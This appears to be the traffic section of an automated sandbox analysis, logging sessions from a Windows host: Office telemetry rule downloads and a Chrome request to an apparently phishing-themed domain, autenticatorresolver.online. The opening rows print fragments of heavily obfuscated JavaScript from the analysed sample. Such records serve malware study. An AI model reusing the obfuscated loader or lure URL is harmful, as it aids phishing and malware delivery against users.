2024-11-26 12:43:30 UTC	16384	IN	Data Raw: 29 2c 2d 28 30 78 31 2a 30 78 31 65 66 37 2b 30 78 62 2a 2d 30 78 61 37 2b 2d 30 78 31 37 63 39 29 29 2c 2d 28 2d 30 78 31 65 33 34 2b 30 78 34 66 35 2b 2d 30 78 31 33 2a 2d 30 78 31 63 37 29 29 2c 5f 30 78 34 61 32 33 62 36 5b 5f 30 78 61 38 63 63 32 35 28 30 78 34 38 32 29 5d 28 30 78 31 2a 2d 30 78 62 66 33 2b 2d 30 78 32 2a 30 78 33 63 37 2b 30 78 31 33 38 33 2c 30 78 65 30 35 2b 2d 30 78 31 35 62 2a 2d 30 78 32 2b 2d 30 78 34 64 61 29 29 2c 5f 30 78 34 61 32 33 62 36 5b 5f 30 78 61 38 63 63 32 35 28 30 78 32 66 63 29 5d 28 5f 30 78 34 61 32 33 62 36 5b 5f 30 78 61 38 63 63 32 35 28 30 78 32 37 37 29 5d 28 2d 28 2d 30 78 32 32 2a 2d 30 78 32 39 2b 30 78 64 39 61 2a 2d 30 78 33 2b 30 78 31 2a 30 78 33 38 36 37 29 2c 5f 30 78 34 61 32 33 62 36 5b 5f 30 Data Ascii: ),-(0x10x1ef7+0xb-0xa7+-0x17c9)),-(-0x1e34+0x4f5+-0x13-0x1c7)),_0x4a23b6[_0xa8cc25(0x482)](0x1-0xbf3+-0x20x3c7+0x1383,0xe05+-0x15b-0x2+-0x4da)),_0x4a23b6[_0xa8cc25(0x2fc)](_0x4a23b6[_0xa8cc25(0x277)](-(-0x22-0x29+0xd9a-0x3+0x1*0x3867),_0x4a23b6[_0
2024-11-26 12:43:30 UTC	16384	IN	Data Raw: 3a 5f 30 78 33 33 64 39 62 65 28 30 78 34 62 38 29 2c 27 67 43 62 77 64 27 3a 5f 30 78 33 33 64 39 62 65 28 30 78 33 34 64 29 2c 27 47 6e 45 6f 47 27 3a 5f 30 78 33 33 64 39 62 65 28 30 78 33 37 36 29 2c 27 51 62 47 4d 4a 27 3a 5f 30 78 33 33 64 39 62 65 28 30 78 32 36 33 29 2c 27 74 71 78 56 43 27 3a 5f 30 78 33 33 64 39 62 65 28 30 78 34 33 38 29 2c 27 51 6a 48 64 5a 27 3a 5f 30 78 33 33 64 39 62 65 28 30 78 32 37 39 29 2c 27 47 52 6f 74 63 27 3a 5f 30 78 33 33 64 39 62 65 28 30 78 34 63 32 29 2c 27 4b 71 75 5a 77 27 3a 5f 30 78 33 33 64 39 62 65 28 30 78 33 38 30 29 2c 27 69 51 69 67 54 27 3a 5f 30 78 33 33 64 39 62 65 28 30 78 33 38 61 29 2c 27 64 67 72 6e 55 27 3a 5f 30 78 33 33 64 39 62 65 28 30 78 34 37 30 29 2c 27 63 41 54 4d 62 27 3a 5f 30 78 33 Data Ascii: :_0x33d9be(0x4b8),'gCbwd':_0x33d9be(0x34d),'GnEoG':_0x33d9be(0x376),'QbGMJ':_0x33d9be(0x263),'tqxVC':_0x33d9be(0x438),'QjHdZ':_0x33d9be(0x279),'GRotc':_0x33d9be(0x4c2),'KquZw':_0x33d9be(0x380),'iQigT':_0x33d9be(0x38a),'dgrnU':_0x33d9be(0x470),'cATMb':_0x3
2024-11-26 12:43:30 UTC	16384	IN	Data Raw: 6d 46 27 2c 27 6c 67 62 42 54 27 2c 27 63 75 53 77 69 27 2c 27 4a 44 66 57 63 27 2c 27 69 7a 51 72 4c 27 2c 27 6e 6c 69 6e 65 2f 66 6c 2f 27 2c 27 62 4e 76 6b 75 27 2c 27 31 30 6f 7a 50 68 77 52 27 2c 27 4b 54 6e 45 78 27 2c 27 79 64 6f 64 50 27 2c 27 33 35 36 37 39 37 38 54 70 54 27 2c 27 4f 6f 57 6a 47 27 2c 27 55 44 5a 78 67 27 2c 27 63 46 7a 70 57 27 2c 27 51 6a 66 42 78 27 2c 27 75 48 43 6b 74 27 2c 27 6d 74 51 4d 75 27 2c 27 78 41 61 55 4f 27 2c 27 48 46 58 57 55 27 2c 27 77 44 58 76 53 27 2c 27 62 6f 72 64 65 72 27 2c 27 35 34 36 35 64 4f 6e 78 6d 73 27 2c 27 4e 74 4e 6d 74 27 2c 27 64 61 74 61 5d 27 2c 27 56 66 44 75 6a 27 2c 27 72 59 68 6f 4a 27 2c 27 4c 41 69 6d 45 27 2c 27 6a 76 67 42 54 27 2c 27 57 53 6c 65 67 27 2c 27 61 59 53 55 71 27 2c 27 Data Ascii: mF','lgbBT','cuSwi','JDfWc','izQrL','nline/fl/','bNvku','10ozPhwR','KTnEx','ydodP','3567978TpT','OoWjG','UDZxg','cFzpW','QjfBx','uHCkt','mtQMu','xAaUO','HFXWU','wDXvS','border','5465dOnxms','NtNmt','data]','VfDuj','rYhoJ','LAimE','jvgBT','WSleg','aYSUq','
2024-11-26 12:43:30 UTC	16384	IN	Data Raw: 38 39 2b 30 78 33 65 30 2a 2d 30 78 32 2b 28 2d 30 78 64 65 31 2b 2d 30 78 34 2a 2d 30 78 37 30 36 2b 2d 30 78 65 33 34 29 2a 28 30 78 31 32 33 30 2b 30 78 34 64 30 2b 2d 30 78 31 32 39 33 29 2b 2d 28 30 78 34 31 66 2a 30 78 31 2b 30 78 64 2a 30 78 32 61 66 2b 2d 30 78 31 34 39 35 29 29 5d 3d 5f 30 78 66 62 36 38 32 66 28 2d 28 30 78 63 63 34 2b 30 78 32 34 37 2a 30 78 64 2b 2d 30 78 31 65 64 2a 30 78 31 36 29 2a 2d 28 30 78 32 32 62 31 2b 2d 30 78 34 36 39 2b 30 78 31 2a 2d 30 78 66 30 37 29 2b 28 30 78 39 37 2a 30 78 31 66 2b 30 78 32 34 33 30 2b 2d 30 78 33 36 37 37 29 2a 28 30 78 31 64 64 30 2b 30 78 32 33 61 31 2b 30 78 35 2a 2d 30 78 39 34 33 29 2b 2d 28 2d 30 78 33 62 66 2a 2d 30 78 31 34 2b 2d 30 78 35 36 61 35 2b 30 78 34 30 36 38 29 29 2c 69 66 Data Ascii: 89+0x3e0-0x2+(-0xde1+-0x4-0x706+-0xe34)(0x1230+0x4d0+-0x1293)+-(0x41f0x1+0xd0x2af+-0x1495))]=_0xfb682f(-(0xcc4+0x2470xd+-0x1ed0x16)-(0x22b1+-0x469+0x1-0xf07)+(0x970x1f+0x2430+-0x3677)(0x1dd0+0x23a1+0x5-0x943)+-(-0x3bf*-0x14+-0x56a5+0x4068)),if
2024-11-26 12:43:30 UTC	14241	IN	Data Raw: 2c 2d 30 78 31 2a 30 78 31 33 62 65 2b 30 78 65 39 63 2b 30 78 35 66 39 29 2c 5f 30 78 35 36 37 31 64 36 5b 5f 30 78 34 34 36 31 64 61 28 30 78 33 33 35 29 5d 28 30 78 31 30 36 2a 30 78 31 31 2b 30 78 34 64 33 2a 2d 30 78 32 2b 2d 30 78 37 38 63 2c 30 78 32 36 65 31 2b 2d 30 78 33 61 31 2a 30 78 33 2b 2d 30 78 31 62 34 37 29 29 29 29 5d 28 29 3b 7d 29 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 66 62 36 38 32 66 28 2d 30 78 31 2a 2d 30 78 31 31 35 33 2b 30 78 32 2a 30 78 38 62 37 2b 2d 30 78 31 65 65 61 2b 2d 28 30 78 39 31 2a 2d 30 78 33 31 2b 2d 30 78 34 37 2a 30 78 38 39 2b 2d 30 78 32 38 30 64 2a 2d 30 78 32 29 2b 28 2d 30 78 31 36 36 2a 2d 30 78 31 30 2b 2d 30 78 31 61 65 62 2b 30 78 34 2a 30 78 33 66 31 29 29 2b 5f 30 78 66 62 36 38 32 66 28 2d 28 30 78 Data Ascii: ,-0x10x13be+0xe9c+0x5f9),_0x5671d6[_0x4461da(0x335)](0x1060x11+0x4d3-0x2+-0x78c,0x26e1+-0x3a10x3+-0x1b47))))]();}),document[_0xfb682f(-0x1-0x1153+0x20x8b7+-0x1eea+-(0x91-0x31+-0x470x89+-0x280d-0x2)+(-0x166-0x10+-0x1aeb+0x4*0x3f1))+_0xfb682f(-(0x

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.7	49715	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:30 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:30 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:30 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0a3cdbcf-401e-0016-597f-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124330Z-174f7845968swgbqhC1EWRmnb40000000vmg000000006v8t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:30 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.7	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:30 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:30 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:30 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 6eac4bdd-a01e-006f-1c91-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124330Z-174f7845968j6t2phC1EWRcfe80000000vm0000000007yyy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:30 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:30 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:30 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: dc0e4179-901e-005b-2991-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124330Z-174f7845968cdxdrhC1EWRg0en0000000vcg000000008p8u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:30 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.7	49713	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:30 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:30 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:30 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0b3277ea-501e-00a0-5e91-3f9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124330Z-174f7845968swgbqhC1EWRmnb40000000vk0000000008m55 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:30 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.7	49714	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:30 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:30 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 59158d4f-901e-00a0-5491-3f6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124330Z-174f78459685m244hC1EWRgp2c0000000v90000000007bet x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:30 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49719	172.66.0.102	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:31 UTC	665	OUT	GET /fl/m6kgte57 HTTP/1.1 Host: autenticatorresolver.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 12:43:32 UTC	972	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jv6or55hsn994lo1v74lp0b3bq; path=/ expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gef5%2B2Y6CiUcEF1p6pTbcNKRytazjusT6R1SYrbdD46qD5IokZePeBlRr9NBm74UOpPvamxAzMuAO8G1GbZk7HP%2BCQMbSgv7QZ3i8xQig%2FxJnon%2FP3Hhkjr8sk6DUcUuiMCgiGRbRcnFzwJTmtk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e89f6f35dfc424b-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1601&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2871&recv_bytes=1243&delivery_rate=1788120&cwnd=248&unsent_bytes=0&cid=9e27a5f21331d98c&ts=681&x=0"
2024-11-26 12:43:32 UTC	397	IN	Data Raw: 36 61 33 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 0a 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 62 61 73 65 36 34 2c 41 41 41 42 41 41 59 41 67 49 41 51 41 41 41 41 41 41 42 6f 4b 41 41 41 5a 67 41 41 41 45 68 49 45 41 41 41 41 41 41 41 36 41 30 41 41 4d 34 6f 41 41 41 77 4d 42 41 41 41 41 41 41 41 47 67 47 41 41 43 32 4e 67 41 41 49 43 41 51 41 41 41 41 41 41 44 6f 41 67 41 41 48 6a 30 41 41 42 67 59 45 41 41 41 41 41 41 41 36 41 45 41 41 41 5a 41 41 41 41 51 45 42 41 41 41 41 41 41 41 43 Data Ascii: 6a34<!DOCTYPE html><html><head> <meta charset="utf-8" /> <link rel="shortcut icon" href="data:image/x-icon;base64,AAABAAYAgIAQAAAAAABoKAAAZgAAAEhIEAAAAAAA6A0AAM4oAAAwMBAAAAAAAGgGAAC2NgAAICAQAAAAAADoAgAAHj0AABgYEAAAAAAA6AEAAAZAAAAQEBAAAAAAAC
2024-11-26 12:43:32 UTC	1369	IN	Data Raw: 41 41 41 41 41 41 41 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 67 41 41 41 44 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 41 41 41 41 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 79 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 41 41 41 41 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d Data Ascii: AAAAAAAiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIgAAADMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIAAAAzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMyIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiAAAAMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM
2024-11-26 12:43:32 UTC	1369	IN	Data Raw: 7a 4d 7a 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 41 41 41 41 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 79 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 41 41 41 41 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 67 41 41 41 44 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a Data Ascii: zMzIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIAAAAzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMyIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiAAAAMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIgAAADMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMz
2024-11-26 12:43:32 UTC	1369	IN	Data Raw: 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 41 41 41 41 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 67 41 41 41 44 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 41 41 41 41 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d Data Ascii: 